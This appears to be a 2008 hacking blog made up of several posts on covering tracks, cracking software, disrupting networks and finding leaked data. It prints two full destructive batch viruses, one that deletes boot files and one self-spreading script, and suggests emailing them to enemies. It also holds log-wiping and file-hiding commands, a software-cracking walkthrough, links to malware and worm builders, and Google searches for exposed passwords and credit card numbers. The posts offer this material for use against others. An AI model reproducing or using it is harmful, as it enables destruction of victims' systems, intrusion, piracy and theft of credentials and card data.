Hacx Nd Xploits 4 U...!!...Njoy...!!!

How Hackers can Erase their Tracks

2008-06-21T09:51:00.000-07:00

How hackers can erase their tracks after hacking you. hehe

This is for educational purpose only..But u can’t hide from me. hehe Just kidding…

Whenever someone comes in contact with another person, place, or thing, something of that person is left behind. This means that the attacker must disable logging, clear log files, eliminate evidence, plant additional tools, and cover his tracks.

Here are some of the techniques that an attacker can use to cover his tracks:-
(1) Disabling logging – Auditpol was originally included in the NT Resource kit for administrators. It works well for hackers too, as long as they have administrative access.
Just point it at the victim’s system as follows:
C:\>auditpol \\192.168.10 /disable
Auditing Disabled

(2) Clear the log file – The attacker will also attempt to clear the log. Tools, such as Winzapper, evidence Eliminator, or Elsave, can be used. Elsave will remove all entries from the logs, except one entry that shows the logs were cleared.
It is used as follows:

Elsave -s \\192.168.13.10 -1 “Security” -C

(3) Cover their tracks – One way for attackers to cover their tracks is with rootkits. Rootkits are malicious codes designed to allow an attacker to get expanded access and hide his presence. While rootkits were traditionally a Linux tool, they are now starting to make their way into the Windows environment. Tools, such as NTrootkit and AFX Windows rootkits, are available for Windows systems. If you suspect that a computer has been rootkitted, you need to use an MD5 checksum utility or a program, such as Tripwire, to determine the viability of your programs. The only other alternative is to rebuild the computer from known good media.

Another method to hide your trace is by hiding files……….

Let me give u a short brief explanation on how u can do that. Well, various techniques are used by attackers to hide their tools on the compromised computer. Some attackers might just attempt to use the attribute command to hide files, whereas others might place their files in low traffic areas. A more advanced method is to use NTFS alternate data systems. NTFS alternate data systems (ADS) was developed to provide for compatibility outside of the Windows world with structures, such as the Macintosh Hierarchical File System (HFS). These structures uses resource forks to maintain information associated with a file, such as icons, and so on.

ADS is a security concern becoz an attacker can use these streams to hide files on a system. As the streams are almost completely hidden, they represent a near perfect hiding spot on a file system. It allows the attacker the perfect place to hide his tools until he needs to use them at a later date. To delete a stream, its pointer must be deleted first or copy the pointer file to a FAT file system. That will delete the stream, as FAT cannot support ADS.
To create an ADS, issue the following command:-

Type examcram.zip > readme.txt:examcram.zip

This command streamed examcram.zip behind readme.txt. This is all that is required to stream the file. Now the original secret file can be erased.

Erase examcram.zip

All tha hacker must do to retrieve the hidden file is to type tha following:-

Start c:\readme.txt:examcram.zip

This will execute ADS and open the secret file. Some tools that are available to detect streamed files include:-
(1) Sfind – A Foundstone forensic tool for finding streamed files
(2) LNS – Another tool used for finding streamed files, developed by ntsecurity.nu

Note: Linux does not support ADS, although an interesting slack space tool is available called Bmap, which can be downloaded from http://www.securityfocus.com/tools/1359. This Linux tool has the capability to pack data into existing slack space. Anything could be hidden there, as long as it fits within the available space, or is parsed up to meet the existing size requirements.

One final step for tha attacker might well be to gain a command prompt on the victim’s system. This allows the attacker to actually be the owner of the box. Some tools that allow the attacker to have a command prompt on the system include Psexec, Remoxec, and Netcat.

Credits: *** Rani tha ***

HOW TO CRACK ANY SOFTWARE??

2008-06-15T13:21:00.000-07:00

In this tutorial you will learn how to crack any type of software protection using
W32Dasm and HIEW.

IDENTIFYING THE PROTECTION:
Run the program, game, etc., (SoftwareX) that you want to crack without the CD in the
CD reader. SoftwareX will not run of course, however, when the error window pops up it
will give you all of the vital information that you need to crack the program, so be sure to
write down what it says.
CRACKING THE PROTECTION:
Now, run Win32Dasm. On the file menu open DISASSEMBLER > OPEN FILE TO
DISASSEMBLE. Select SoftwareX’s executable file in the popup window that will
appear (e.g. SoftwareX.exe). W32Dasm may take several minutes to disassemble the file.
When W32Dasm finishes disassembling the file it will display unrecognizable text; this is
what we want. Click on the String Data References button. Scroll through the String Data
Items until you find SoftwareX’s error message. When you locate it, double click the
error message and then close the window to return to the Win32Dasm text. You will
notice that you have been moved somewhere within the SoftwareX’s check routine; this
is where the error message in generated.
Now comes the difficult part, so be careful. To crack SoftwareX’s protection you must
know the @offset of every call and jump command. Write down every call and jump
@offset number that you see (You have to be sure, that the OPBAR change its used color
to green). You need the number behind the @offset without the “h.”
Now open HIEW, locate SoftwareX’s executable, and press the F4 key. At this point a
popup window will appear with 3 options: Text, Hex, and Decode. Click on “Decode” to
see a list of numbers. Now press the F5 key and enter the number that was extracted using
Win32Dasm. After you have entered the number you will be taken to SoftwareX’s check
routine within HIEW.
If the command that you are taken to is
E92BF9BF74, for example, it means that the command equals 5 bytes. Every 2 digits
equal one byte: E9-2B-F9-BF-74 => 10 digits => 5 bytes. If you understood this then you
can continue.
Press F3 (Edit), this will allow you to edit the 10 digits. Replace the 5 bytes with the
digits 90. In other words, E92BF9BF74 will become 9090909090 (90-90-90-90-90).
After you complete this step press the F10 key to exit.
Congratulations! You just cracked SoftwareX!
Don’t panic if SoftwareX will not run after you finished cracking it. It only means that
something was done incorrectly, or perhaps SoftwareX’s protection technology has been
improved or created after this tutorial. Simply reinstall SoftwareX and start over. If you’re
sure that you completed all steps correctly and the program still will not run, then tough
nuts. Their protection was developed after the writing of this tutorial.
ONE MORE TRICK

Originally Posted by miggittymacdadd

1. Install the software and choose License Type as "Network" while asked.
2. After installation, copy VIZ2007\adlmdll.dll to ...\Autodesk\VIZ2007 and overwrite the original one.
3. Setup Flexlm License Server with the files in the supplied FlexLM directory.
4. Start the inventor, input 2080@your_server_host_name or just point to license.lic while the license is requested.
ONE MORE TRICK!!

Copy \Crack\FlexLM directory to C:\Program Files\Autodesk\

Run "C:\Program Files\Autodesk\FlexLM\lmtools.exe"

Select "Config Services" tab at the top

Click "Browse" on the line "Path to the lmgrd.exe file"
Find the file in C:\Program Files\Autodesk\FlexLM\
Click "Open"

Click "Browse" on the line "Path to the license file"
Find the file in C:\Program Files\Autodesk\FlexLM\
Click "Open"

In the Path to Debug Log file field
Enter "C:\Program Files\Autodesk\FlexLM\Debug.log"

Select "Use Services" and "Start Server at Power Up"

Click "Save Service"
Click "Yes"

Select "Start/Stop/Reread" tab at the top
Click "Start Server"

Select "File" then click "Exit"

Run Autodesk VIZ 2007
Select "Specify the License File"
Click "Next"
Click "Browse"
Find the file in C:\Program Files\Autodesk\FlexLM\
Click "Open"
Click "Next"
Click "Finish"

If the License File can't be found rerun "C:\Program Files\Autodesk\FlexLM\lmtools.exe"
Select "Start/Stop/Reread" tab at the top
Click "Stop Server"
Click "Start Server"

and try running Autodesk VIZ 2007 again
credits - rani tha

Play Wid Networks..!!

2008-04-13T05:37:00.000-07:00

You wanna mess around with your school network?

You wanna own the shit out of some kiddies who think they're the best?

Well thankfully there's the shutdown function in cmd Smile

First of all you need to have access to a cmd prompt on the network for this to work.

If it's disabled you can obviously run everything from .bat files.

So first type in
Code:
Net View

This will give you all the names for all the computers on the network.

Then you want to find a target and write it down, so for example a name is //045-comproom1-05 then you will utilize that name to shutdown the computer.

What next? Well if you're a lil skiddy yourself then the easiest thing to do is type in
Code:
shutdown -i

which will give you a gui interface and you'll be able to shutdown whichever computer you want with it, you can set a time, even throw in a funny comment like "owned" or somethin Smile.

commands you will use if you just wanna use the command interface are

Code:
shutdown -m //computername
- shutsdown the pc.

Code:
shutdown -m -c "owned"
shutdown with a comment.

Code:
shutdown -l
logoff the user.

Code:
shutdown -r
restart the computer.

and so on...

online downloadable virus list!!

2008-04-13T05:35:00.001-07:00

hxxp://web.tiscali.it/johnnycrk2/virus/happy99.zip

hxxp://web.tiscali.it/johnnycrk2/virus/Melissa.zip

hxxp://web.tiscali.it/johnnycrk2/virus/x.zip

hxxp://web.tiscali.it/johnnycrk2/virus/POLY.zip

hxxp://web.tiscali.it/johnnycrk2/virus/rundll.zip

hxxp://web.tiscali.it/johnnycrk2/virus/Speed.zip

hxxp://web.tiscali.it/johnnycrk2/virus/Unknow.zip

hxxp://web.tiscali.it/johnnycrk2/virus/Unknow2.zip

hxxp://web.tiscali.it/johnnycrk2/virus/nowviru.zip

hxxp://web.tiscali.it/johnnycrk2/virus/all.zip

hxxp://web.tiscali.it/johnnycrk2/virus/auto.zip

hxxp://web.tiscali.it/johnnycrk2/virus/best.zip

hxxp://web.tiscali.it/johnnycrk2/virus/document.zip

hxxp://web.tiscali.it/johnnycrk2/virus/good.zip

hxxp://web.tiscali.it/johnnycrk2/virus/nice.zip

hxxp://web.tiscali.it/johnnycrk2/virus/simpatic.zip

hxxp://web.tiscali.it/johnnycrk2/virus/goodbye.zip

hxxp://web.tiscali.it/johnnycrk2/virus/mora.zip

hxxp://web.tiscali.it/johnnycrk2/virus/windows.zip

hxxp://web.tiscali.it/johnnycrk2/virus/mac.zip

hxxp://web.tiscali.it/johnnycrk2/virus/yvirus.zip

hxxp://web.tiscali.it/johnnycrk2/virus/xviruz.zip

hxxp://web.tiscali.it/johnnycrk2/virus/95.zip

hxxp://web.tiscali.it/johnnycrk2/virus/VirusMisti.zip

hxxp://web.tiscali.it/johnnycrk2/virus/d-g.zip

hxxp://web.tiscali.it/johnnycrk2/virus/VirusMisti2.zip

hxxp://web.tiscali.it/johnnycrk2/virus/h-j.zip

Awesome Virus 2..!!..Njoy..!!

2008-04-13T05:34:00.001-07:00

WARNING: Do NOT open this on your own computer!!

This is how the virus works::

first it will change the color of the cmd box
then it will change the time on the computer to midnight 12:00
then it will shut down the anti virus and firewall
and copy itself into the startup menu and registry
after that it will change its own attribute to hide and read only
so the victim cant remove the virus
after that it will kill processes such as MSN, limewire,
internet explorer, firefox, etc etc
then it will split itself 20 times and flood the WINDOWS folder
It will then delete everything from the windows folder and system 32, then completly erase the WHOLE C drive,
and finally it will shut itself down, and by the time the computer has restarted, it will become useless as it will have deleted EVERYTHING uncluding the windows login screen

Heres the download:
http://rapidshare.com/files/74221720/shroom.zip.html

P.S, Batch virus's are a bitch to send over MSN so i would advise you upload it to a website and let the victim download the file

A DOS virus builder

2008-04-13T05:32:00.000-07:00

h@@p://rapidshare.com/files/65701348/vc.zip [Replace @@ with tt]
====================

Nice easy worm generator that will spread through network shares and emails , it will scan for emails ,it has irc bot and more options.

http://rapidshare.com/files/65704232/Pokes-Worm-Gen-2.zip
====================

Builds worm and add spread options like email or mIRC then you choose what to infect on computers,change PC name, go to url option, antideletion, polymorphic and other shit.

http://rapidshare.com/files/65701343/vbswg2.zip
====================

This little program allows you to add source code and generate your own worm/virus,it has some samples of code inside the zip too.

http://rapidshare.com/files/65702742/Dr._VBS_Virus_Maker.zip
====================

Awesome Virus...!!

2008-04-13T05:31:00.001-07:00

WARNING: Do NOT open this on your own computer!!
It will disable your Firewall and do a lot of funny thing if you still want to see funy things please try it
http://rapidshare.com/files/78696248/Smile.exe.html

It will display a msg "I love dlls" then it will flood there desktop with dll's and also the directory(s) "C:/Windows/" "C:/Windows/System32/" It also disables Ctrl+Alt+Delete in winXP.

h@@p://rapidshare.com/files/65703684/MXZ.zip
===================

It will infect .COM or .EXE files as they are opened, executed, or their attributes are accessed. Also, if the system time is 12:00am, the virus will delete any file executed.

h@@p://rapidshare.com/files/65703373/massacre.zip
===================

The famous worm that fucked up millions of computers around the world , started in Germany where it was programmed by an 18 year old man.

h@@p://rapidshare.com/files/65700942/sasser.b.zip
===================

Plz Notify if the link is broken or is detectable..

Replace @@ with tt...

Awesome Virus...!!

2008-04-13T05:31:00.000-07:00

:::::::::::: NEXT BAT FILE VIRUS :::::::::::::::::

2008-04-13T05:30:00.001-07:00

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!

type this in notepad

start virus.bat
virus.bat

and save as with this name

virus.bat

ur antivirus will not detect this virus

Basically this program will delete all that files which are needed for booting.........

::::::::Virus & Trick Centre :::::::::: BATCH FILE VIRUS

2008-04-13T05:29:00.000-07:00

copy the below code and paste into your notepad.. then save as anyname.bat

Do not click on that batch file........ Send it your enimies email...

It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

Code :-

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

Biggest Hacks Of All Time....!!

2008-04-13T05:24:00.001-07:00

Early 1990s
Kevin Mitnick, often incorrectly called by many as god of hackers, broke into the computer systems of the world's top technology and telecommunications companies Nokia, Fujitsu, Motorola, and Sun Microsystems. He was arrested by the FBI in 1995, but later released on parole in 2000. He never termed his activity hacking, instead he called it social engineering.

November 2002
Englishman Gary McKinnon was arrested in November 2002 following an accusation that he hacked into more than 90 US military computer systems in the UK. He is currently undergoing trial in a British court for a "fast-track extradition" to the US where he is a wanted man. The next hearing in the case is slated for today.

1995
Russian computer geek Vladimir Levin effected what can easily be called The Italian Job online - he was the first person to hack into a bank to extract money. Early 1995, he hacked into Citibank and robbed $10 million. Interpol arrested him in the UK in 1995, after he had transferred money to his accounts in the US, Finland, Holland, Germany and Israel.

1990
When a Los Angeles area radio station announced a contest that awarded a Porsche 944S2 for the 102nd caller, Kevin Poulsen took control of the entire city's telephone network, ensured he is the 102nd caller, and took away the Porsche beauty. He was arrested later that year and sentenced to three years in prison. He is currently a senior editor at Wired News.

1983
Kevin Poulsen again. A little-known incident when Poulsen, then just a student, hacked into Arpanet, the precursor to the Internet was hacked into. Arpanet was a global network of computers, and Poulsen took advantage of a loophole in its architecture to gain temporary control of the US-wide network. Mar 11
1996
US hacker Timothy Lloyd planted six lines of malicious software code in the computer network of Omega Engineering which was a prime supplier of components for NASA and the US Navy. The code allowed a "logic bomb" to explode that deleted software running Omega's ma

Top 10 tricks to exploit SQL Server Systems

2008-04-13T05:22:00.000-07:00

Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results
3. Enumerating the SQL Server Resolution Service

Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.

4. Cracking SA passwords

Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.

5. Direct-exploit attacks

Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.
6. SQL injection

SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector.

7. Blind SQL injection

These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe.

8. Reverse engineering the system

The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.

9. Google hacks

Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.

10. Perusing Web site source code

Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.

Credits for reconciling the 10 techniques: Rani tha

Yahoo Invicible Mode Detection..Njoy..!!

2008-03-31T05:24:00.000-07:00

Buddy Spy
This software is 2 awesome..
Buddy Spy is the premier program for Yahoo! Messenger status checking. With Buddy Spy you can now bypass Yahoo! Messenger's Invisible Settings with ease. With its quick and intuitive interface Buddy Spy offers you the ability to see if your friend is truly online or if they are invisible. Not only does Buddy Spy offer you online checking, but it will also tell you whether your friend is in a Chat Room or even if their Web Cam is online!

"Buddy Spy is a User friendly , straight forward program , that I would have a hard time surviving without !! It helps Me stay in touch with Those that have to log in under invisible mode to keep from being bombarded with messages from Their Friends on Their list .

What's new?
New in Buddy Spy 2.2 is a Scan History, which keeps a log of all the users you have scanned. The log includes, the user name, online status, webcam status, chat room status, date and time, in an easy to read format. Also new in this version of Buddy Spy, is the Web Check. The web check is a new scanning method that will detect online presence, even if they are not using Yahoo! Messenger.
Download it from here
http://www.buddy-spy.com/files/BuddySpySetup.exe

---------------------------------------------------------------------------

U can also chek yahoo invisible mode thru website http://www.xeeber.com

Bruteforcing Programs

2008-03-20T07:14:00.001-07:00

Bruteforcing Programs check dis out...

Accessdiver (AD) by Jean Fages
CODE
http://www.accessdiver.com

Sentry by Sentinel:
CODE
http://sentinel.deny.de/sentry.php

Goldeneye by Madmax
CODE
http://madmax.securibox.net/products/goldeneye/goldeneye.htm

Form@ (specifically for FORM sites) by SSS -
CODE
http://sss.deny.de/

httpbugger By Ken78x (specifically for form sites and httpS form sites)
CODE
http://ken78x.securibox.net/

Caecus by Sentinel (For form sites that require an OCR [t4wsentry.pl])
CODE
http://sentinel.deny.de/Caecus.php

Ares by Gamoaa -
CODE
[content suppressed]

Brutus
CODE
http://www.hoobie.net/brutus/

AuthForce by Zachary P. Landau
CODE
http://kapheine.hypa.net/authforce/index.html

Entry by Sparkleware
CODE
http://www.sparkleware.com/entry/index.html

Xavior By LithiumSoft
CODE
http://www.btinternet.com/%7Elithiumsoft/Products.html

Web Password Checker (WPC) .1 For UNIX by g1soft
CODE
http://www.securityfocus.com/tools/885/scoreit

Munga Bunga's http Brute Forcer by Munga Bunga
CODE
[content suppressed]

Wordlist Tools

Raptor 3 by Madmax
CODE
http://madmax.securibox.net/products/raptor/raptor.htm

Staph by Ashes
CODE
available at securibox.net under "downloads"

Words Extractor
CODE
http://www.intellitamper.com/wordsextractor/

Parsley by on_a_role_again
CODE
http://www.geocities.com/parsley_home/

Lucifer by Rhino -
CODE
http://rhino.deny.de/lucifer.php

ALS_novice by Wolfman -
CODE
http://wolfman.deny.de/tools.html

Combomania by Gamoaa:
CODE
available at securibox.net under "downloads"

Z-leecher by Beda
CODE
http://goldmaster.webpark.cz/sleech.html

S-Generator by Beda
CODE
http://goldmaster.webpark.cz/sgen.html

S-WordlistTool by Beda
CODE
http://goldmaster.webpark.cz/swordt.html

Proxy Tools

Proxyrama By Gaamoa
CODE
http://gaamoa.deny.de/

Charon by Rhino
CODE
http://www.icefortress.com/hosts/rhino/

Advanced Proxy Leecher (APL) by Sentinel
CODE
http://sentinel.deny.de/apl.htm

Geowhere by Jean Fages (NOT-Freeware) -
CODE
http://www.geowhere.net/

Proxy List Filter -
CODE
http://www.freeproxy.ru/en/programs/proxy_filter.htm

AATools by Glocksoft
CODE
http://www.glocksoft.com/aatools.htm

Proxy Checker by Hell Labs
CODE
http://www.helllabs.com.ua/labs.php?

Proxy Bag
CODE
http://www.intellitamper.com/proxybag/

S-Proxy Tool by Beda
CODE
http://goldmaster.webpark.cz/sproxy.html

Decrypting Tools

John The Ripper (JTR) -
CODE
http://www.openwall.com/john/

MDcrack (MD5 Cracker) -
CODE
http://membres.lycos.fr/mdcrack/

Passwords Pro (MD5/MD4/Pass Generator)
CODE
[content suppressed]

RainbowCrack Hash Cracker
CODE
http://www.antsight.com/zsl/rainbowcrack/

Distributed John The Ripper by Luis Parravicini
CODE
http://ktulu.com.ar/en/djohn.php

Cain and Abel by Massimiliano Montoro
CODE
http://www.oxid.it/cain.html

Salt Grinder by Wolfman
CODE
http://wolfman.deny.de/SaltGrinder.php

Log Tools

LogRip by Rhino -
CODE
http://rhino.deny.de/logrip.php

Azarius by Rhino -
CODE
http://rhino.deny.de/azarius.php

Zimapass Parser by Sentinel:
CODE
http://sentinel.deny.de/zimaparser.htm

C-Parse (ccbill.log parser) by Sentinel:
CODE
http://sentinel.deny.de/c_parse.htm

CCBill USI (CCBILL log parser that removes all dead account PRIOR to decrypting)
CODE
http://membres.lycos.fr/ccbill/

Accessdiver/Ares Parser by Sentinel:
CODE
http://sentinel.deny.de/ad_ares_parser.htm

Spoofers

Zspoof by wolfman -
CODE
http://wolfman.deny.de/tools.html

Sploof by Jean Fages -
CODE
http://www.accessdiver.com/sploof.htm

Final Spoof
CODE
http://www.beatharness.com/finalspoof/

Spooph by nast0
CODE
http://24.106.100.133/spooph/index.html

D-Spoof And Others (Russian Site, English Prog)
CODE
http://mspoofer.pisem.net/zaza/index.htm

MVSLite By Mentor
CODE
http://mvs.freehosting.net/index.html

Mikho's Online Spoofer (web based spoofer, choose "open" when dialog appears)
CODE
http://www.mikhosoft.com/spoofs/

QuickSpoof
CODE
http://httpd.chello.nl/%7Em-koster2/spoofs.htm

Other Tools

Scholar by Sentinel - (History checker)
CODE
http://sentinel.deny.de/scholar.htm

Crackmate Gold by Xtremet (adultcheck gold pass verifier)
CODE
http://xtremet.deny.de/products.htm

WinRAR Password Recovery

2008-03-13T11:33:00.001-07:00

Here is the tool to recover/hack passwords of an winrar file..so go 4 it..!!

Download link:

http://rapidshare.com/files/24876686/rar_password_recovery_with_crack.rar

Password: www.downloadwarez.org

Boost Internet Surfing Speed-Working!!

2008-03-13T11:04:00.000-07:00

I've experienced the big boost in my surfing & downloading speed by the following combination.

Firefox + IDM + TCP Optimizer

Plz do a speed test of your net connection before & after at hCEp://speedtest.net/ to know what difference this software has made.

1) Every1 knows that how to Speed Up the Firefox.

Who dont know, just do the following.

* Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

* Alter the entries do as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

Set "network.http.pipelining.maxrequests" to some number like 30.

* Lastly right-click anywhere and select New-> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".

2) Now Download & Install IDM. ( The Best Download Manager I've ever used. )
hCEp://rapidshare.com/files/99013377/Internet_Download_Manager_5.12_Prateek_s_The_Hacker.rar

3) Now Download TCP Optimizer
:: Download ::
hCEp://wCw.download.com/SG-TCP-Optimizer/3000-2155_4-10415840.html

When u open TCP Optimizer, dont do anything, just select the option 'Optimal Settings' & apply the changes.
In the next box, press OK and reboot.

& Plzzz its my request to every1 that plz reply to this topic only after u try this.

Before speed: 210 KBPS
After speed: 280 KBPS

Google Advanced Search Options....Njoy!!

2008-03-11T03:46:00.000-07:00

ws_ftp.ini is a configuration file for a popular FTP client that stores usernames, (weakly) encoded passwords, sites and directories that the user can store for later reference. These should not be on the web!

That's some good stuff. Just copy/paste the text into your own WS FTP ini file and you're good as gold (assuming you're using the same version). Don't forget - even if they have taken the file offline, use the "cache:FULL_URL/wsftp.ini" to see the contents.
probably one of the best exploits I have seen in a long time, when I did it there were about 20 vulnerable computers, just recently there was 4 so I hope whitehats got to this before anyone else. really nice !!

To see results; just write in the (http://www.google.com/) search engine the code:

intitle:index.of ws_ftp.ini

Frontpage.. very nice clean search results listing !! I magine with me that you can steal or know the password of any web site designed by "Frontpage". But the file containing the password might be encrypted; to decrypt the file download the program " john the ripper".

To see results; just write in the (http://www.google.com/) search engine the code:

"# -FrontPage-" inurl:service.pwd

This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics.

To see results; just write in the (http://www.google.com/) search engine the code:

"AutoCreate=TRUE password=*"

WS_FTP.ini is a configuration file for a popular win32 FTP client that stores usernames and weakly encoded passwords.

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:ini ws_ftp pwd

Or

"index of/" "ws_ftp.ini" "parent directory"

Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are! And much adminstrated passwords and user passwords, a lot of emails and the such too…

To see results; just write in the (http://www.google.com/) search engine the code:

allinurl: admin mdb

DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun.

To see results; just write in the (http://www.google.com/) search engine the code:

allinurl:auth_user_file.txt

These files contain ColdFusion source code. In some cases, the pages are examples that are found in discussion forums. However, in many cases these pages contain live sourcecode with usernames, database names or passwords in plaintext.

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:cfm "cfapplication name" password

The encryption method used in WS_FTP is _extremely_ weak. These files can be found with the "index of" keyword or by searching directly for the PWD= value inside the configuration file.

There is an easy way to decrypt the hash, use the decryptor at:

http://www.codebluehacks.com/Tools.php?ID=1

Or

http://www.hispasec.com/directorio/laboratorio/Software/ws_ftp.html

To see results; just write in the (http://www.google.com/) search engine the code:

filetype:ini ws_ftp pwd
These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.
To see results; just write in the (http://www.google.com/) search engine the code:

filetype:log inurl:"password.log"

Allows an attacker to create an account on a server running Argosoft mail server pro for windows with unlimited disk quota (but a 5mb per message limit should you use your account to send mail).

To see results; just write in the (http://www.google.com/) search engine the code:

"adding new user" inurl:addnewuser -"there are no domains"

Google is so smart, it’s scary sometimes. I has found another interesting (to say the least) Google use.
I just ran across a pretty scary new google trick. It seems they have just recently added number span searching to their engine. Take a look at this example:

To see results; just write in the (http://www.google.com/) search engine the code:

visa 4356000000000000..4356999999999999

Basically, what this search does is search for the word “visa” [credit card] with any numbers that fit within your query. i.e. any Visa credit card number with the first four digits 4356.
As you can see, Google has searched the entire range against its DB. Within minutes I found some crazy sites like this one. Now please know that Google didn’t create this tool to be used like this. It’s actually quite handy when used correctly. Just an FYI for all of you.

Let's pretend you need a serial number for windows xp pro. The key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
To see results; just write in the (http://www.google.com/) search engine the code:

"Windows XP Professional" 94FBR

By the way, don't forget to change "Window sXP Professional" to any product you need its serial number.

Vulnerablities in GOOGLE ANDROID SDK

2008-03-10T04:07:00.000-07:00

Multiple vulnerabilities in Google's Android SDK

Mar 04 2008 06:26PM
Core Security Technologies Advisories (advisories coresecurity com)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs

Multiple vulnerabilities in Google's Android SDK

*Advisory Information*

Title: Multiple vulnerabilities in Google's Android SDK
Advisory ID: CORE-2008-0124
Advisory URL: http://www.coresecurity.com/?action=item&id=2148
Date published: 2008-03-04
Date of last update: 2008-03-04
Vendors contacted: Google
Release mode: Coordinated release

*Vulnerability Information*

Class: Heap overflow, integer overflow
Remotely Exploitable: No
Locally Exploitable: No
Bugtraq ID: 28006, 28005
CVE Name: CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445,
CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269

*Vulnerability Description*

